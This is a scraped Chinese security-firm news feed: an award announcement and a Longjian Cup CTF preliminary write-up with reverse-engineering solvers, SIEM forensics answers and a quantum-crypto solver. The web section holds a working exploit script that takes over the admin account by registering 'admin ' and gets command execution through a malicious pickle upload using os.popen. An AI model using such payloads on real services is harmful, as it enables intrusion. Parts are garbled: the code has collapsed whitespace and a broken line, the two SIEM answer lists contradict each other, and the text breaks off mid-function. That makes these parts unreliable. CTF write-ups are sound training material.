山石网科是中国网络安全行业的技术创新领导厂商，由一批知名网络安全技术骨干于2007年创立，并以首批网络安全企业的身份，于2019年9月登陆科创板（股票简称：山石网科，股票代码：688030）。

现阶段，山石网科掌握30项自主研发核心技术，申请560多项国内外专利。山石网科于2019年起，积极布局信创领域，致力于推动国内信息技术创新，并于2021年正式启动安全芯片战略。2023年进行自研ASIC安全芯片的技术研发，旨在通过自主创新，为用户提供更高效、更安全的网络安全保障。目前，山石网科已形成了具备“全息、量化、智能、协同”四大技术特点的涉及基础设施安全、云安全、数据安全、应用安全、安全运营、工业互联网安全、信息技术应用创新、AI安全、安全服务、安全教育等10大类产品及服务，50余个行业和场景的完整解决方案。

阅读原文

跳转微信打开

山石网科荣获国家信息安全漏洞库CNNVD多项荣誉

Sat, 20 Sep 2025 16:21:00 +0800

原创 HILLSTONE 2025-09-20 16:21 广东

山石网科荣获“2025年度协同软硬件漏洞管理优秀企业”、“2025年度基础软硬件漏洞管理优秀企业”等荣誉

2025年9月16日下午，由国家信息安全漏洞库（CNNVD）主办的基础软硬件产品漏洞治理生态大会，在成都中国-欧洲中心成功举办。来自国家关键基础设施单位、网络安全公司、基础软硬件企业、高校科研机构的300余名代表参会。

在本次大会上山石网科荣获了“2025年度协同软硬件漏洞管理优秀企业”、“2025年度基础软硬件漏洞管理优秀企业”等荣誉，这是自山石网科安全技术研究院成立以来连续五年获得CNNVD的嘉奖，这五年来连续获得了“漏洞预警及应急响应支撑专项奖”、“年度优秀技术支撑单位”、“国家信息安全漏洞库（CNNVD）一级技术支撑单位”、“CNNVD漏洞信息共享合作单位”、“年度漏洞消控优秀贡献单位”、“年度最佳新秀奖”等荣誉。

山石网科安研院凭借卓越的软硬件漏洞挖掘能力，在漏洞挖掘、报送、预警、学术交流及安全服务等方面与相关机构平台展开了深度合作，已接连成为网信、工信、公安、各大漏洞平台的核心技术支撑力量，屡次获得用户和主管单位的高度好评。山石将一如既往履行维护网络安全的责任和义务，打破壁垒，助力信息共享与资源互补，配合推动政府、行业、企业、高校、科研机构协同配合开展漏洞消控工作，为维护国家网络安全、助力网络强国建设贡献更多力量！

阅读原文

跳转微信打开

第三届“陇剑杯”网络安全大赛预选赛 WP

Fri, 12 Sep 2025 14:41:00 +0800

原创 NEURON 2025-09-12 14:41 广东

第三届“陇剑杯”网络安全大赛预选赛Writr-up

REVERSE

Lesscommon

Main函数

要求的值

作为key

While轮加密

#include #include #include #include using namespace std;uint32_trol32(uint32_t x, uint32_t n) {    n &= 0x1F;    return (x << n) | (x >> (32 - n));}uint32_tror32(uint32_t x, uint32_t n) {    n &= 0x1F;    return (x >> n) | (x << (32 - n));}uint32_tu32(uint32_t x) {    return x & 0xFFFFFFFF;}vector<uint32_t> key_schedule(const vector<uint8_t>& key_bytes, size_t S_len) {    size_t L_len = (key_bytes.size() + 3) / 4;    if (L_len == 0) L_len = 1;    vector<uint32_t> L(L_len, 0);    for (int i = key_bytes.size() - 1; i >= 0; --i) {        int idx = i / 4;        L[idx] = u32((L[idx] << 8) + key_bytes[i]);    }    vector<uint32_t> S(S_len, 0);    S[0] = 1766649740;    uint32_t add_const = 1422508807;    for (size_t j = 1; j < S_len; ++j)        S[j] = u32(S[j - 1] + add_const);    uint32_t v15 = 0, v16 = 0;    size_t idxS = 0, idxL = 0;    size_t rounds = 3 * max(S_len, L_len);    for (size_t k = 0; k < rounds; ++k) {        uint32_t v = S[idxS];        uint32_t v7 = u32(k ^ rol32(u32(v15 + v16 + v), 3));        S[idxS] = v7;        v16 = v7;        uint32_t v_l = L[idxL];        uint32_t v8 = u32(rol32(u32(v15 + v7 + v_l), (v7 + v15) & 0x1F));        L[idxL] = v8;        v15 = v8;        idxS = (idxS + 1) % S_len;        idxL = (idxL + 1) % L_len;    }    return S;}voiddecrypt_block(const uint8_t* block8, uint32_t* S, int rounds_count, uint8_t* out) {    uint32_t v15 = *(uint32_t*)(block8);    uint32_t v13 = *(uint32_t*)(block8 + 4);    for (int k = rounds_count; k >= 1; --k) {        uint32_t tmp = v13 ^ v15;        uint32_t v13_in = ror32(tmp, v15) - S[2 * k + 1];        uint32_t tmp2 = v15 ^ v13_in;        uint32_t v15_in = ror32(tmp2, v13_in) - S[2 * k];        v13 = v13_in;        v15 = v15_in;    }    uint32_t v14 = v15 - S[0];    uint32_t v12 = v13 - S[1];    memcpy(out, &v14, 4);    memcpy(out + 4, &v12, 4);}vector<uint8_t> decrypt_buffer(const vector<uint8_t>& cipherbytes, vector<uint32_t>& S, int rounds_count) {    if (cipherbytes.size() % 8 != 0)        throw runtime_error("Cipher length must be multiple of 8");    vector<uint8_t> out(cipherbytes.size());    for (size_t i = 0; i < cipherbytes.size(); i += 8)        decrypt_block(&cipherbytes[i], S.data(), rounds_count, &out[i]);         uint8_t pad_len = out.back();    if (pad_len >= 1 && pad_len <= 8) {        bool valid = true;        for (size_t i = out.size() - pad_len; i < out.size(); ++i) {            if (out[i] != pad_len) valid = false;        }        if (valid) out.resize(out.size() - pad_len);    }    return out;}intmain() {    vector<uint8_t> key_bytes = { 0x01,0x23,0x45,0x67, 0x89,0xAB,0xCD,0xEF,                                  0xFE,0xDC,0xBA,0x98, 0x76,0x54,0x32,0x10 };    vector<uint8_t> cipher_bytes = {        0x4C,0x6F,0xAB,0xF3,0x13,0x78,0xE2,0xF6,        0x86,0x9D,0x1C,0x99,0xDE,0x85,0xCC,0x10,        0xE8,0x28,0xEE,0x05,0x92,0x21,0x4B,0x34,        0x43,0x28,0x17,0x3C,0x56,0x5B,0x73,0x51,        0x9F,0x8A,0x1D,0x0F,0x97,0x34,0x2C,0x56,        0x42,0x9F,0x69,0x48,0xA3,0xD5,0x8A,0xF5    };    int rounds_count = 12;    int S_len = 2 + 2 * rounds_count;    vector<uint32_t> S = key_schedule(key_bytes, S_len);    vector<uint8_t> plain = decrypt_buffer(cipher_bytes, S, rounds_count);    cout << " flag: ";    for (auto c : plain) cout << c;    cout << endl;    return0;}

参考

RC5对称加密算法-CSDN博客RC6加密解密算法实现（C语言）_c++rc6算法解密-CSDN博客

Prover

比对值多约束校验

用户输入一个固定长度的字符串。校验前缀 flag{ 和后缀 }。

中间 16 个字符（i=5~20）被循环映射到 byte_6085 和 dword_608A 表。

核心计算：

累计校验与哈希并进行填充和分组处理，使用多轮循环左移 (ROL) + 加减 + 异或 + 常数混合，与硬编码常量对比，如果全部匹配，则输出 Correct!。

Z3 约束求解

from typing importListfrom z3 import *defr8(x,r):return RotateLeft(x,r%8)defr32(x,r):return RotateLeft(x,r%32)defr64(x,r):return RotateLeft(x,r%64)defpop32(x):  a = x - (LShR(x,1) & BitVecVal(0x55555555,32))  b = (a & BitVecVal(0x33333333,32)) + (LShR(a,2) & BitVecVal(0x33333333,32))  c = (b + LShR(b,4)) & BitVecVal(0x0F0F0F0F,32)  d = c * BitVecVal(0x01010101,32)return LShR(d,24)mvals = [0x03,0x05,0x09,0x0B,0x0D]xvals = [0xA5,0x5C,0xC3,0x96,0x3E,0xD7,0x21]solver = Solver()f = [BitVec(f'f{i}',8) for i inrange(22)]for i,cst inenumerate(b'flag{'):  solver.add(f[i]==cst)solver.add(f[21]==ord('}'))for i inrange(5,21):  solver.add(Or(And(f[i]>=0x30,f[i]<=0x39),And(f[i]>=0x61,f[i]<=0x66)))tb = []for i inrange(22):  tmp = (BitVecVal(mvals[i%5],8)*f[i] + BitVecVal((19*i+79)&0xFF,8))  tmp = Extract(7,0,tmp)  tmp ^= BitVecVal(xvals[i%7],8)  tb.append(r8(tmp,i%5))tb += [BitVecVal(0,8),BitVecVal(0,8)]dw = []for k inrange(0,24,4):  d = ZeroExt(24,tb[k]) | (ZeroExt(24,tb[k+1])<<8) | (ZeroExt(24,tb[k+2])<<16) | (ZeroExt(24,tb[k+3])<<24)  dw.append(Extract(31,0,d))v42 = Extract(7,0,Sum([pop32(d) for d in dw]))v53,v52,v51,v50 = BitVecVal(0,16),BitVecVal(0,8),BitVecVal(0,8),BitVecVal(0,8)for j inrange(22):  v53 = Extract(15,0,v53 + ZeroExt(8,tb[j]))  v52 = v52 ^ tb[j]  v51 = Extract(7,0,v51 + Extract(7,0,(tb[j]*BitVecVal(j+1,8))))  v50 = Extract(7,0,v50 + Extract(7,0,pop32(ZeroExt(24,tb[j]))))idx = lambda i: dw[i%6]v21 = idx(0)v20 = r32(v21,5)v37 = (idx(2)-BitVecVal(1640531527,32)) ^ v20v18 = idx(4) ^ BitVecVal(0xDEADBEEF,32)v19 = idx(7)n172 = (r32(v19,11)+v18+v37) ^ BitVecVal(0xA5A5A5A5,32)v16 = (BitVecVal(0xFFFFFFFF & (-2048144789),32) * idx(1))v17 = idx(5)v35 = r32(v17,13)+v16v15 = idx(8)+BitVecVal(2135587861,32)v13 = (BitVecVal(668265261,32)*idx(3)) ^ v15 ^ v35v14 = idx(9)v34 = (r32(v14,17)+v13) ^ BitVecVal(0x5A5AA5A5,32)v12 = idx(0v33 = idx(3)^v12^BitVecVal(0x13579BDF,32)v11 = idx(1)v10 = idx(2)v32 = r32(v10,7)+v11for m inrange(2):  v9 = r32((BitVecVal(m,32)^BitVecVal(0x9E3779B9,32))-(BitVecVal(2048144789,32)*v32),5*m+5)  v30 = r32(v32,11)^v32^v9^v33  v33 = v32  v32 = v30v8 = r32(v33,3)n191 = (r32(v32,11)+v8) ^ BitVecVal(0x5A5AA5A5,32)h64 = BitVecVal(0x243F6A8885A308D3,64)for i inrange(22):  sh = 8*(i&7)  mixed = h64 ^ (ZeroExt(56,tb[i]) << sh)  h64 = r64(BitVecVal(0x9E3779B185EBCA87,64)*mixed,13) tmp = BitVecVal(0xBF58476D1CE4E5B9,64)*(h64^LShR(h64,30))v3 = BitVecVal(0x94D049BB133111EB,64)*(tmp^LShR(tmp,27))n161 = v3 ^ LShR(v3,31)solver.add(n161 == BitVecVal(0x9B30518C600D26DD,64))solver.add(Extract(31,0,n161) == BitVecVal(1611474653,32))solver.add(n191 == BitVecVal(1911915815,32))solver.add(((v32+v33)^BitVecVal(0xA5A5A5A5,32)) == BitVecVal(2323396502,32))solver.add(v34 == BitVecVal(4019606934,32))solver.add(n172 == BitVecVal(1727223967,32))solver.add(v42 == BitVecVal(0x50,8))solver.add(v50 == BitVecVal(0x50,8))solver.add(v51 == BitVecVal(0x43,8))solver.add(v52 == BitVecVal(0x55,8))solver.add(v53 == BitVecVal(0x0913,16))# solveif solver.check() == sat:  model = solver.model()  flag = ''.join(chr(model[f[i]].as_long()) for i inrange(22))print("done:",flag)else:print("nonooonono")

flag{7ac1d3e59f0b2468}

Dragon

- 在 .rdata 中找到被逐项比较的 DWORD 表（expected_values），确认比对方向- 对目标函数先看反编译，再落回反汇编核对关键常量与循环形态

另一部分

flag 输入校验的入口函数。

check_func() 是真正逐字节比较输入与 .rdata 里的 expected 表的地方。往下反汇编 off_140024150 调用的函数（即 check_func）来看：它应该做了 XOR / 轮移 / 直接逐字节对比。找到 expected 表地址， xxtea算法求解密文和密钥

#include #include #include #include #include #include using namespace std;// 左循环移位uint32_trol32(uint32_t x, int r) {    return ((x << r) | (x >> (32 - r))) & 0xFFFFFFFFu;}// XXTEA 核心混合函数uint32_tmx(uint32_t y, uint32_t z, uint32_t s, const vector<uint32_t>& k, int p, int e) {    uint32_t t = ((z << 4) ^ (y >> 5)) + ((y << 4) ^ (z >> 5));    t &= 0xFFFFFFFFu;    int idx = ((p & 3) ^ e) & 3;    uint32_t u = ((s ^ y) + (k[idx] ^ z)) & 0xFFFFFFFFu;    return (t ^ u) & 0xFFFFFFFFu;}// XXTEA 解密函数vector<uint32_t> xxtea_decrypt(vector<uint32_t> v, const vector<uint32_t>& k,    uint32_t rounds = 0x2A, uint32_t delta = 0x87654321) {    size_t n = v.size();    if (n < 2) return v;    uint32_t s = (rounds * delta) & 0xFFFFFFFFu;    while (rounds > 0) {        int e = (s >> 2) & 3;        for (int p = (int)n - 1; p >= 0; --p) {            uint32_t y = v[(p + 1) % n];            uint32_t z = v[(p - 1 + n) % n];            v[p] = (v[p] - mx(y, z, s, k, p, e)) & 0xFFFFFFFFu;        }        s = (s - delta) & 0xFFFFFFFFu;        rounds--;    }    return v;}// 将 32 位 word 转换为字节流vector<uint8_t> words_to_bytes(const vector<uint32_t>& words) {    vector<uint8_t> data;    for (uint32_t w : words) {        data.push_back((uint8_t)(w & 0xFF));        data.push_back((uint8_t)((w >> 8) & 0xFF));        data.push_back((uint8_t)((w >> 16) & 0xFF));        data.push_back((uint8_t)((w >> 24) & 0xFF));    }    // 去掉末尾填充 0x00    while (!data.empty() && data.back() == 0x00) {        data.pop_back();    }    return data;}// 尝试检测 flag 格式stringextract_flag(const string& text) {    regex flag_pattern(R"(flag\{[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}\})");    smatch match;    if (regex_search(text, match, flag_pattern)) {        return match.str(0);    }    return"";}intmain() {    // 已知密文    vector<uint32_t> cipher_words = {        0x0EB4D6CE, 0x521DDE8B, 0x21ED24FD,        0xBA10EC26, 0x3339931C, 0x46DC0E7D,        0xCC469F44, 0x64BA7079, 0x64777977,        0xB2151C98, 0xDBCC5AA1,    };    // 原始密钥    vector<uint32_t> K_raw = { 0x12345678, 0x9ABCDEF0, 0xFEDCBA98, 0x76543210 };    // 派生密钥    vector<uint32_t> K_derived;    for (auto x : K_raw) {        K_derived.push_back(rol32(x ^ 0x13579BDF, 7));    }    // 解密    auto plain_raw = xxtea_decrypt(cipher_words, K_raw);    auto plain_der = xxtea_decrypt(cipher_words, K_derived);    // 转字节    auto data_raw = words_to_bytes(plain_raw);    auto data_der = words_to_bytes(plain_der);    // 写文件    ofstream("candidate_raw.bin", ios::binary).write((char*)data_raw.data(), data_raw.size());    ofstream("candidate_der.bin", ios::binary).write((char*)data_der.data(), data_der.size());    // 转换成字符串    stringdecoded(data_der.begin(), data_der.end());    string flag = extract_flag(decoded);    if (!flag.empty()) {        cout << "  flag: " << flag << endl;    }    else {        cout << " nono" << decoded << endl;    }    return0;}

flag{cbee3251-9cff-4542-bf15-337bb8df7f3f}

WEB

Forge

提示admin才能登录，注入admin提示需要绕过，经过测试可以通过添加空格的方式来注册admin覆盖密码，登录后台可以上传pkl文件，查看示例文件发现是`pickle`序列化数据，有些防护，发现os.popen没有ban，使用以下exp直接打

import pickleimport requestsdefupload(payload):    u = url + "upload"    r = req.post(u, files={"file": ("123.pkl", payload)})    return r.text.split('123.pkl')[1].split(')[1].split('"')[0]defexec_(id):    u = url + "execute/" + id    print(req.post(u).text)classCHIKAWA:    def__init__(self, payload):        self.model_name = "123"        self.data = payload.encode()        self.parameters = []url = "http://web-e02460973d.challenge.longjiancup.cn:80/"req = requests.session()req.post(url + "register", data={"username": "admin ", "password": "admin"})req.post(url + "login", data={"username": "admin", "password": "admin"})payload = f"""cospopen(Vtouch "/tmp/`/bin/ca? /?lag`"tR."""payload = pickle.dumps(CHIKAWA(payload))exec_(upload(payload))payload = f"""coslistdir(V/tmp/tR."""payload = pickle.dumps(CHIKAWA(payload))exec_(upload(payload))

应急

SIEM

flag1:攻击者的ip是什么192.168.41.143直接搜索："GET /" ，得到192.168.41.143

flag2:在攻击时间段一共有多少个终端会话登录成功13flag3:攻击者遗留的后门系统用户是什么hacker尝试搜索 admin、test 、hacker常用的用户名

flag4:提交攻击者试图用命令行请求网页的完整url地址http:192.168.41.136/.back.php?pass=id直接搜索 “GET /” 找到.back.php

flag5:提交wazuh记录攻击者针对域进行哈希传递攻击时被记录的事件ID1734511987.34749419通过搜索“hash attack” 关键字flag6:提交攻击者对域攻击所使用的工具查询语法：data.win.system.eventID:7045 AND data.win.eventdata.serviceName:PSEXESVC

flag7:提交攻击者删除DC桌面上的文件名c:\users\administratordesktop\21.txt

flag为flag{3bfc26f5d9f932ccf73f356019585edf}

flag1:攻击者的ip是什么？192.168.41.143flag2:在攻击时间段一共有多少个终端会话登录成功？13flag3:攻击者遗留的后门系统用户是什么？hackerflag4:提交攻击者试图用命令行请求网页的完整url地址。http:1192.168.41.136/.back.php?pass=idflag5:提交wazuh记录攻击者针对域进行哈希传递攻击时被记录的事件ID。1734511987.34749419flag6:提交攻击者对域攻击所使用的工具。mimikatzflag7:提交攻击者删除DC桌面上的文件名。ossec.conf

flag格式：flag{md5(flag1-flag2-flag3-...-flag6-flag7)}

量子

Qrandom

通过量子测量结果间接暴露密钥的汉明重量信息，将复杂的量子密码问题转化为经典的距离几何重构问题：已知多个参考向量与目标未知向量的汉明距离，反推目标向量的具体值。

1. 量子测量的侧信道泄露机制函数 quantum_probs(key) 的返回值实际上揭示了关键信息：

技术原理解析：

• Initialize 操作使用密钥的二进制位作为256维量子态的振幅，并进行归一化处理
• 随后的 Hadamard变换操作后，基态的振幅等于所有初始振幅的算术平均值
• 测量概率等于振幅的模长平方，经过数学化简可得

因此，每个浮点数输出直接对应该轮密钥中1比特的数量与总比特数的比值：

2. 汉明距离约束系统的构建

程序循环中同时输出了 xor(secret, key).hex()，设其为（已知量）。

根据二进制向量的性质：

结合步骤1的结果，我们获得了 111个独立的距离约束条件：

其中表示 secret 对应的256位二进制向量。

3. 整数线性规划(ILP)模型转换

将汉明距离约束转换为标准的ILP问题形式：

对于每个约束：

通过异或运算的线性化变换：

变换说明：

• 左侧：未知二进制变量的线性组合
• 系数：（已知）
• 右侧：完全由已知量构成的常数项

这样构成了111个线性等式约束，通常足以唯一确定256个二进制变量的值。在实际应用中，这类随机生成的约束系统具有很强的"刚性"，解的唯一性得到保证。

4. 密钥恢复与最终解密

求解ILP问题得到（即32字节的 secret）后，按照原始加密流程：

AES.new(key=md5(secret).digest(), nonce=b"suan", mode=AES.MODE_CTR)

使用提取的最后一段十六进制密文进行AES-CTR解密即可获得flag。

import reimport mathimport binasciiimport sysimport timefrom hashlib import md5, sha256from Crypto.Cipher import AESimport pulpfrom typing importList, Tuple, Optional, Unionfrom dataclasses import dataclassimport numpy as np@dataclassclassQuantumMeasurement:    """量子测量"""    probability: float    hex_value: str    hamming_weight: Optional[int] = None    bit_vector: Optional[List[int]] = NoneclassCryptographicSolver:        def__init__(self, verbose: bool = False):        self.verbose = verbose        self.measurements: List[QuantumMeasurement] = []        self.secret_bits: Optional[List[int]] = None            deflog(self, message: str) -> None:        ifself.verbose:            print(f"[{time.strftime('%H:%M:%S')}] {message}")        @staticmethod    defvalidate_hex_string(hex_str: str) -> bool:        """验证十六进制字符串的有效性"""        try:            int(hex_str, 16)            returnlen(hex_str) % 2 == 0        except ValueError:            returnFalse        @staticmethod    defcompute_hamming_weight(data: Union[bytes, str, List[int]]) -> int:        """计算汉明重量（1的个数）"""        ifisinstance(data, str):            data = bytes.fromhex(data)        ifisinstance(data, bytes):            returnbin(int.from_bytes(data, 'big')).count('1')        elifisinstance(data, list):            returnsum(data)        else:            raise TypeError("Unsupported data type for hamming weight calculation")DUMP = r"""0.5117187499999999fd2aa1a3afcc62c28b18143f2d66ad6166aa15b719610c2eef61146c49d25b740.546874999999999922f0454594d938058fa696340e98df141cdc8a7c11b9f4e7aa71e1dc58a533160.496093749999999948e21290f6c53715a739c97df0424cf647ad2ba07b9eb54ec48e037c01d1201730.46874999999999983fd315c27eeaabc334b71ea2f35f4fe1a52d726f89e8caa3d77c3b47756824f330.4999999999999999a56be31339e4f96650931664c315da0519b67670729d6573f74e5061d3b4ef780.51171875f11e2aa92c0b4ba1bff4913a89363cdd1f98aaaea7c52bd6e8aa83e1e52398ee0.56251d9043bb2505d2d54a8d4ef8dc7db940c1d6c8ba79291c1b1e5cedd819d318c30.46093758b57cba2568076c1248aec40dacc20aa0d63a2ff928db1be07d316a875e70a740.48046875000000006a585f5d79e9f5d29a872d73f7b84c19bde6ffa87c73c08220d2ff9e537cdfa990.55078125111d5531bbbc44151d606bd7edc733a9d9c123aa2a1819317d0b266a35d112610.49218749999999993ce134401945e624cf0c8fb642ffe13d89b44fc949c66add3c6d1c8bc8ec5bb50.5078125000000001603b4c21612f10c005dbe6c1d2990605f2986c4737192a9b32e5d420451d8cd30.468749999999999831b2e321549c16a345dcb6da3bbc3027331786bf57802f10a66ea4336c568d9370.570312579ef123308347411ac19458ea414e3d64f6ec51e4c89536adc6ef0c9f7d1fde80.5546875bfbd5c244c43091b332dfb7dcea6a1e60911871e656b7374124f9bbe818329d40.5859375b3feb74cad8970c83a0546612d339f64a5a6797265ab5b8cd1855790073b41380.5429687499999998499047c5aa80f9338740a174421161b384a0e434803fc976c17a0239ce21e6e80.48046875000000020f4657e467882871e5f06422720df63caf773e4c549365f08e94d5435a540a230.5195312499999999858148b3aced8eb3cda39d6cf135db2c666fea67c577c8ded214ef9330bbe2040.496093750000000062b97a0ab6389378bddfc2e4e3790fbf398154d86d3336a1ae5c858ad2d57df670.5664062499999999ddde73d5956f31813e2b28ff6557a3efed626128d0e63fcc40cac673cd20bb9a0.4804687500000000662ef6d65ed47ec8dc2a31dec86c03ae90500d909d5137e704d49a09f5910174b0.589843753c7af3550d0c0ca72b4b64ff77f73f201049b63263a4d8727f14d3f30ac3ed7c0.4843749999999998d3caddb572576ed0a42eae546ddca106f4902118a87beba2060e9bda34a961560.4843750000000001e0fbe1f2c2ecceba91402a98e7b3835ceffd788b8ac0b4f30124804af90b5ee20.421875863d68e890ff445cbb1a1b90b1c22e3fbc8d45930990aeb30c638430ee58d1ec0.546875a8a066beb0349e65abd4ea45feb7d46d8e94ffe880ad7a5ffd49fcb0d50e5e280.5351562499999999295f6373925f502df637c91b41fdecb3beaa3a6b22d7c858990b55e88ec571020.480468750000000067feeebf573bcc48d9b694fee74a437416bd8b5757fa98f36ab1429574f04a28a0.4921874999999999fde3b6fdc733f277f1b99d9fe7b2fd73b2f04216a91bf918a3ae16109b99b7e00.5351562499999999294acfbd65493794a899890113fe0c218771c9344826f9efba5cd5f42f4a625b0.519531249999999890c84e613d185472885c5a631bd19f915890d114138bcca2e760b64898c739260.5234375eed5a4c8eee858d2192ff459647c105d321328672ea7586101cc67152429614a0.464843749999999944e04a57fad42e73393e572da79eaaefdf212b355129d8c1c05e6d5bb3ac81dd50.5585937499999997314c044a108f5a2b4467197fec0d7bc75b8c24b3c567a3ce905292bf1b5b3df30.4492187500000001e908d2b7b9148354b521af1b67c5b7dbcefcbc8c91582829135959197d0138ef0.5039062553ed5aba96729230c6e1ddfa156a1c9f71a492693fea0b76f444c8a80c74debb0.4648437499999998cac13b98a0f07174d0d7e767ce64393b7d05684ad1cadcd128bac7984ba7671b0.5156258d5476d1a9b250df323576f9df6db4f1d0a5b351f52148884f15e4613bc41a720.499999999999999954a50e06f8c7bf1122c174af94c7be558960a3cffdebee8e9b738792918bd1c70.503906254deb53417c94ad22ddf0582499a79f171a19fc2f6ccba2bc2c22509bf754e8a70.5273437499999998b50f353a62a31ac14d2f0a986c6cbbf5a8d4ea5eccdc4ab6076862492775cf570.4843749999999998e15bd80e2bc72d5b5040d3c6ecff2f0f3037606283280006a1bc5f66b805ca0c0.46874999999999983611b0ef54d3364d4b05720be4506428eb5276e2ab1c145df5b50d406369f0cd30.50390625f96b7a20d1dd85bc4d993d37246ea962c8615e206d78ba4006121ce7c3c845fd0.49999999999999995e0677a79e853f4ca636e0ec254af819337c987a01c86b9aac329f2a04a78e2d0.4921874999999999d413a3b7bba53d59ce1faa17d2b0e39ca0ea924a53a9e9652a0e488c5a8ff8c90.5039062558075258973146991dfa133512f17f3766b7fa9a9104697f61d0a097ad1e88090.5039062512391e770425aa8539fc277587f211a386fe1130f520661d6ceca89b3245e4080.4335937499999999412a39c2b5d9cbc9438f2a427cee74e9d4e1be675439df2683e6a8feb5fd26c1b0.4843749999999998b58885913fcc80b2f242f24aba436784a6b2ee5597eaae78ae1ba44a42e492a60.49218749999999997bf54d3c7093dea63d261d3abe8bfe9a59d9bba47c756f1a20ae24c4b93a8e110.51171874999999997e34b3c40d584f22c2a40c2e268acd2e45bb8ae62ea398cdf2f6e8299bd2fc5b0.515625000000000159fa32f46f24e198bb834037391552e4ddbac4426cd969aa9cbdea5effb26eda0.4882812499999997cca09e4f94debe6cbc3e5eb0e45c6dd9224cc8c3f1389e2e84b42a6235f8e8510.58984374999999996e76e668f84fcd553b5a81db1f5cf5dc0ba817e856004e16b24db4a3c1149afc0.49609374999999994bc847871e680e764c6b00c4a11860975a9b139da9bc7f8821f09c050e64c82d30.519531249999999800ee96ba75f751c85fc9d8957238b076ed5108ae9aaa2c1eed0be9f4ded463080.47656250000000006dbcf47f56b016e0bc125a1fddee04b09a88fa612e7d5c43f05200e1e4365ca910.53515624999999984d7b5ae3c80b5d2b1022c7f1bb89b3b2dd9f927562ee5002980f51d31aad93f60.562562b0579da7b901be6ebc30fdcf8e1f4fa9d34dbf732291e7753a83f7ce49b6e60.53515625e71cb0a886ad9328eae1c13720d4815def47777e781a78ef3847423af106adfc0.50390625a06ce345aa3aa11e9befb8bb5f87e7927b345f85a977842b64dec58dedb8bec80.4687499999999998384689ca6163b09aac671e57992f7993867a12511298d83666b6fda06922689ec0.51562500000000016a546bab39b8d3a28859c03b9ee9f7e0c542563c8e99dcbcc18a7327102f38fe0.46093751f91d3e6a4e92f0f66bb7421a8dd6a985f7f790ca80906e0ea391c9746e1ea340.48046875000000006f6db8c9667b78d33d8c81f9beba1d83761050b4c5928d455d5794124618e24b50.50390625cc52765dc245aefa474a3313ebf9f5e3422d98cdba78aa2d1a96c3bb6a9d1e630.488281250000000064abec2f612ad92f8f10b8f62d97ead29a06698274e3fe1d6c7985dffcb04c6020.527343749999999844a6b991ca5f95d7b5ae40b7f5abe058a27091de4508335d14d955b3a9d3caba0.44140625000000006d0da3ed48bb65b145ea5d431fbec6341b2e0b9a6fda7b3ab9b08d1c81ea6be870.5273437499999998b1c842a7bc343044e9590c9793d282349a0bb8afd778a7f23dd67d75eea723e30.496093750000000066a36edb7803be95b8d86698444a10ca8d02b860e43acb434437cb7ec2d8c439d0.4999999999999999a4c0e50c8687192d1e9e362047dc8163be6077cdfa82a988790a4ef7a692e48b0.52343754572f5961b4b16d93cc65b536342e8ad2a6d732e84ec05001444f649e24cc3420.55078125967962cae2232a2f2e040282ce0dd9d6abb205c37ce21ab81e6c3cfb8a5b1a270.53515624999999997a548018cb6caf10bce308eb00227c7c85b03930def8bcc5e0f2d3b3b7ff69840.5195312499999998c2d593871901e7e8dbb21297d688ad743eae096f64d1b45fb8e4a23ce9b8a9880.46874999999999983128024052655b413d7c45dcf3dc25358f4767d5e23f29c1866caa426d1c06fc00.4999999999999999a6cccde461d27e22d5f28e8592be79cdbd2c5446d4761101cd91044a42f618500.492187561a16eb88464835710de531611d97d62800c995fab1329295a2ad5d9a3931faa0.5156250000000001437cd42f14d5ec5f94597077851f3b8e82c531e8badbc9aad7641af889e0fbef0.51562500000000018c982f6e41b462f54c5e8e907c5ed706ccb39f5e6f390b1184bcb7b32ad241b70.49218749999999999177fcec00391e127aedfe95c0ec1760e5e8164546ee71ef1396aab04a7dc1d60.4843749999999998634cf8b55adcae49a99b2764f8eadc6e45b245a05ba204b2efaa63b1e8fa933e0.53515624999999984fc3874fd754b840b14c03ced6b7d7f6014b727456ef1c0f90fb2a624f0dce500.48046875000000006f0fc49d295c0f9a667470b3b7dfeb36a90869d8909c7965ff0c6f338e7b05e430.5429687499999999dc8e993c3a6d81528d3e251654518d7da37ec42f4c56d9df63ee763a35e58c770.51562500000000017628150d64a29e6d8652f669425d33f95bbcb1a7c53ca35a48654c915fec15840.41796875000000006cdef0832ddd11a5893e243e7e2a52b98cd770eceb993b9bc3aa9537c6a626dcb0.47265625b9a30edd19ce01c3c8bdd17bb7e6e21cde3eb4a414f68aefd177c752eac9d5270.5195312499999998a02044c7e5ab1ebd8abd03b64fc1a2c451e42cdbe5d814af0f6451790ffc52430.47656250000000006def3e5b0e6a8d1ea727f6a42b454a7d2bbf1b79a979572a213cdbb487dcc26400.519531249999999817c1e95971e51eba241971f5ba4a15b33070a59887d29eeae66ba01820d70b340.460937499999999834a5f3fa284a548dfe0f09c194e961003c1ff637d89a425fc1d7ecb82d432af680.52734375b29662d1534340928b6db89c6ffbfa7e479877806eda760f69f4141a27768ec60.472656249999999838a989cfa62002ee44a99385aa4c3feba22f02d15ecacb3cb2c1e3eb5fd19de400.515625980d6b85aa1c47e3da78590f1e304502348a60beec72f7d21012d29d436647e60.50390625e93fb7e577831ae8c19c6b1bb8816e0d80fd6f251e01a314561cffcb66ab7b760.51171875a515daa6b5f82eaa3c2ecba681c058ca099cf448464fc4f5ab089dfa51a7a5520.531249999999999822ce511469b84cc2de4d901d3b16dc8188b655aeaeaf2922df2d644b9f108ce70.5195312499999998897c507aeb5852cc392ca13e5b44c235875e34418ded4a13c526aa4a49da5e3e0.4531250000000001d9cd650909bf6e2421c21b258b20285481b446893186e677ed92e3ae5f75c9180.5546875000000001b90c1e2d24ffc710a718486e4301488dacc84ecec4522f395601e2bd95e4d4210.515625000000000325adab706f8a14b07a70055a005d3da43f932ec41d4846cb78aa122e4b79bb690.53906249999999986d711b113e57aa696e6dd155f4badc1c081807e57aba881097f663f001d373bd0.47656250000000006b0bb3eab2f27f3775d373532cf14586e781a43888fd6f57b90f5a3e28166fade0.4999999999999999b7a716a519607b8b3a295a45ff58181a201ad2344efaff1c5ebf233a9366912b0.5078125000000001d65dea6a58af264f367c66b5abd7e5ad0bfd1864086cd14dd9f0ea85d62fbd940.4999999999999998f73c3290397bd758d090ec7e59d337f9accd0b202245e63c61658719124017690.4804687500000000652c02d7d1d952036852d173e890e548700be67fb052d1d2c8f4f351a1275e04680de35c2a8f96b0445fff81a9c1b783b5fb37c089eb3b40c01ffaaa39a555db8d0967e5ad64bc80930c19aa50ab9"""defadvanced_data_parser(dump_content: str) -> Tuple[List[QuantumMeasurement], 